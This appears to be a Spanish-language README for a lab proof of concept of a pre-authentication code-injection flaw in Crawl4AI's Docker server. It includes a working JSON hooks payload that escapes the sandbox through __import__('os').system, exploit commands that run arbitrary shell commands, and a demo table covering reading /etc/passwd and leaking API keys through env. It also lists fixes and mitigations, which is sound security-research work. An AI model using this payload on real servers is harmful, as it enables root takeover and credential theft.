
hooks (GHSA-5882-5rx9-xgxp)CVSS 10.0 · pre-auth RCE · CWE-94 (Code Injection) Ejecución remota de código no autenticada en el servidor Docker de Crawl4AI (< 0.8.0), abusando del parámetro
hooksdel endpointPOST /crawl. Un único JSON en el POST ejecuta Python como root dentro del contenedor.
Esta es una PoC de laboratorio, autocontenida y reproducible, para investigación de seguridad y fines educativos.
El endpoint POST /crawl acepta código Python arbitrario en el campo
hooks.code.<evento>. Ese código se ejecuta con exec() dentro de un
"sandbox casero" — un diccionario de builtins restringido. Solo que __import__
se dejó en la allowlist, lo que permite __import__('os').system(...) y
derrota todo el sandbox.
POST /crawl
{
"urls": ["https://example.com"],
"hooks": {
"code": {
"on_page_context_created":
"async def hook(page, context, **kwargs):\n __import__('os').system('id')\n return page"
}
}
}
Como el deploy oficial se ejecuta con JWT desactivado por defecto y el contenedor se ejecuta como root, el resultado es RCE root, pre-autenticación.
El sandbox parece funcionar: open, eval, exec fueron eliminados, por lo que un
ataque ingenuo (open('/etc/passwd')) es bloqueado. Esto crea una falsa
sensación de seguridad. Pero basta un builtin peligroso olvidado
(__import__) para importar toda la stdlib (os, subprocess, socket) y
la allowlist se convierte en decoración. La allowlist de builtins no es un sandbox.
CVE-2026-26216/
├── README.md
├── docker-compose.yml # sobe o servidor vulnerável
├── vulnerable-app/
│ ├── Dockerfile # imagem que roda como root (igual à oficial)
│ ├── requirements.txt
│ ├── server.py # FastAPI: POST /crawl sem auth
│ └── hook_manager.py # o sandbox fraco (a linha vulnerável está aqui)
└── exploit/
└── exploit.py # exploit Python (só stdlib)
Nota de fidelidad.
vulnerable-app/es una reproducción ligera del camino de código vulnerable de Crawl4AI (no abre Chromium/Playwright), para que la PoC sea ligera y 100 % reproducible. El comportamiento del sandbox y la estructura del payload reflejan la advisory oficial GHSA-5882-5rx9-xgxp. La línea vulnerable está marcada envulnerable-app/hook_manager.py.
# 1. sobe o alvo
docker compose up -d --build
# 2. demonstração completa
python3 exploit/exploit.py --target http://localhost:11235 --demo
# 3. comando arbitrário
python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env"
# 4. derruba
docker compose down -v
A partir de ahí: pivote hacia la red interna, robo de credenciales de nube, persistencia, etc.
OPENAI_API_KEY, tokens internos, secrets del contenedor.Todo esto sin autenticación.
Corregido en Crawl4AI 0.8.0:
__import__ (y eval/exec/open) eliminados de los builtins permitidos.CRAWL4AI_HOOKS_ENABLED=true.Mitigaciones generales:
crawl4ai >= 0.8.0.Material para investigación de seguridad autorizada y educación. Úselo solo en sistemas que usted posee o para los que tiene permiso explícito por escrito para probar.
| # | Acción | Impacto |
|---|
| 1 | open('/etc/passwd') directo | Bloqueado por el sandbox (falsa seguridad) |
| 2 | __import__('subprocess') + id/whoami | RCE como root |
| 3 | cat /etc/passwd vía shell | Lectura arbitraria de archivos |
| 4 | env | grep KEY | Exfiltración de API keys / tokens |
| 5 | echo ... > /tmp/PWNED | Escritura arbitraria de archivos |